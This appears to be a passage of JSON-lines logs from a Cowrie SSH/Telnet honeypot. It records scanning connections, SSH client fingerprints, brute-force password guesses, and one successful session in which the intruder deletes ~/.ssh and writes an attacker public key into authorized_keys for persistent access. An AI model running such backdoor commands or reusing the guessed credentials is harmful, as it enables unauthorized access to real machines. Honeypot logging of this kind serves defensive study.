{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:44:49.483408Z","src_ip":"213.209.159.56","session":"ae9b908ba67b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.242.109.42","src_port":36434,"dst_ip":"10.17.0.5","dst_port":22,"session":"2aef4b67f98f","protocol":"ssh","message":"New connection: 190.242.109.42:36434 (10.17.0.5:22) [session: 2aef4b67f98f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:44:57.259144Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:44:57.270990Z","src_ip":"190.242.109.42","session":"2aef4b67f98f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:44:57.355813Z","src_ip":"190.242.109.42","session":"2aef4b67f98f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"111","message":"login attempt [git/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:44:57.729569Z","src_ip":"190.242.109.42","session":"2aef4b67f98f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:44:58.820567Z","src_ip":"190.242.109.42","session":"2aef4b67f98f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":22274,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec6b3db27438","protocol":"telnet","message":"New connection: 212.55.149.117:22274 (10.17.0.5:23) [session: ec6b3db27438]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:44:59.013323Z"}
{"eventid":"cowrie.session.connect","src_ip":"189.46.1.73","src_port":54912,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ef5dfac092d","protocol":"ssh","message":"New connection: 189.46.1.73:54912 (10.17.0.5:22) [session: 4ef5dfac092d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:45:14.765526Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:45:14.823968Z","src_ip":"189.46.1.73","session":"4ef5dfac092d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:45:14.954082Z","src_ip":"189.46.1.73","session":"4ef5dfac092d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"nospam","message":"login attempt [admin/nospam] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:45:15.526314Z","src_ip":"189.46.1.73","session":"4ef5dfac092d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:45:16.729279Z","src_ip":"189.46.1.73","session":"4ef5dfac092d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.117.146","src_port":51431,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc2de08275ff","protocol":"ssh","message":"New connection: 74.87.117.146:51431 (10.17.0.5:22) [session: cc2de08275ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:45:20.600906Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:45:20.609256Z","src_ip":"74.87.117.146","session":"cc2de08275ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:45:20.634860Z","src_ip":"74.87.117.146","session":"cc2de08275ff","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"Ab123456","message":"login attempt [oracle/Ab123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:45:20.766769Z","src_ip":"74.87.117.146","session":"cc2de08275ff","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:45:20.862924Z","src_ip":"74.87.117.146","session":"cc2de08275ff","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:45:20.866726Z","src_ip":"74.87.117.146","session":"cc2de08275ff","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:45:20.870851Z","src_ip":"74.87.117.146","session":"cc2de08275ff","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:45:20.899100Z","src_ip":"74.87.117.146","session":"cc2de08275ff","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:45:20.987565Z","src_ip":"74.87.117.146","session":"cc2de08275ff","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:45:20.991000Z","src_ip":"74.87.117.146","session":"cc2de08275ff","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:45:21.021193Z","src_ip":"74.87.117.146","session":"cc2de08275ff","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:45:21.024961Z","src_ip":"74.87.117.146","session":"cc2de08275ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.117.146","src_port":3058,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b8783fd41f4","protocol":"ssh","message":"New connection: 74.87.117.146:3058 (10.17.0.5:22) [session: 4b8783fd41f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:45:21.042239Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:45:21.046341Z","src_ip":"74.87.117.146","session":"4b8783fd41f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:45:21.071288Z","src_ip":"74.87.117.146","session":"4b8783fd41f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:45:21.201239Z","src_ip":"74.87.117.146","session":"4b8783fd41f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:45:22.230075Z","src_ip":"74.87.117.146","session":"4b8783fd41f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.117.146","src_port":42407,"dst_ip":"10.17.0.5","dst_port":22,"session":"f5454f5106b0","protocol":"ssh","message":"New connection: 74.87.117.146:42407 (10.17.0.5:22) [session: f5454f5106b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:45:22.251745Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:45:22.256834Z","src_ip":"74.87.117.146","session":"f5454f5106b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:45:22.281199Z","src_ip":"74.87.117.146","session":"f5454f5106b0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:45:22.415257Z","src_ip":"74.87.117.146","session":"f5454f5106b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:45:22.444051Z","src_ip":"74.87.117.146","session":"cc2de08275ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:45:22.449143Z","src_ip":"74.87.117.146","session":"f5454f5106b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"151.80.141.196","src_port":37784,"dst_ip":"10.17.0.5","dst_port":22,"session":"15fea461f61a","protocol":"ssh","message":"New connection: 151.80.141.196:37784 (10.17.0.5:22) [session: 15fea461f61a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:45:23.917089Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:45:23.922271Z","src_ip":"151.80.141.196","session":"15fea461f61a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:45:24.003961Z","src_ip":"151.80.141.196","session":"15fea461f61a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"odooodoo","message":"login attempt [odoo/odooodoo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:45:24.366140Z","src_ip":"151.80.141.196","session":"15fea461f61a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:45:25.454906Z","src_ip":"151.80.141.196","session":"15fea461f61a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":61.73281645774841,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:45:34.511282Z","src_ip":"212.55.149.117","session":"5e32f429c9c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.147.159.91","src_port":33708,"dst_ip":"10.17.0.5","dst_port":22,"session":"710ed2a7a81b","protocol":"ssh","message":"New connection: 103.147.159.91:33708 (10.17.0.5:22) [session: 710ed2a7a81b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:45:36.968005Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:45:36.973474Z","src_ip":"103.147.159.91","session":"710ed2a7a81b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"mac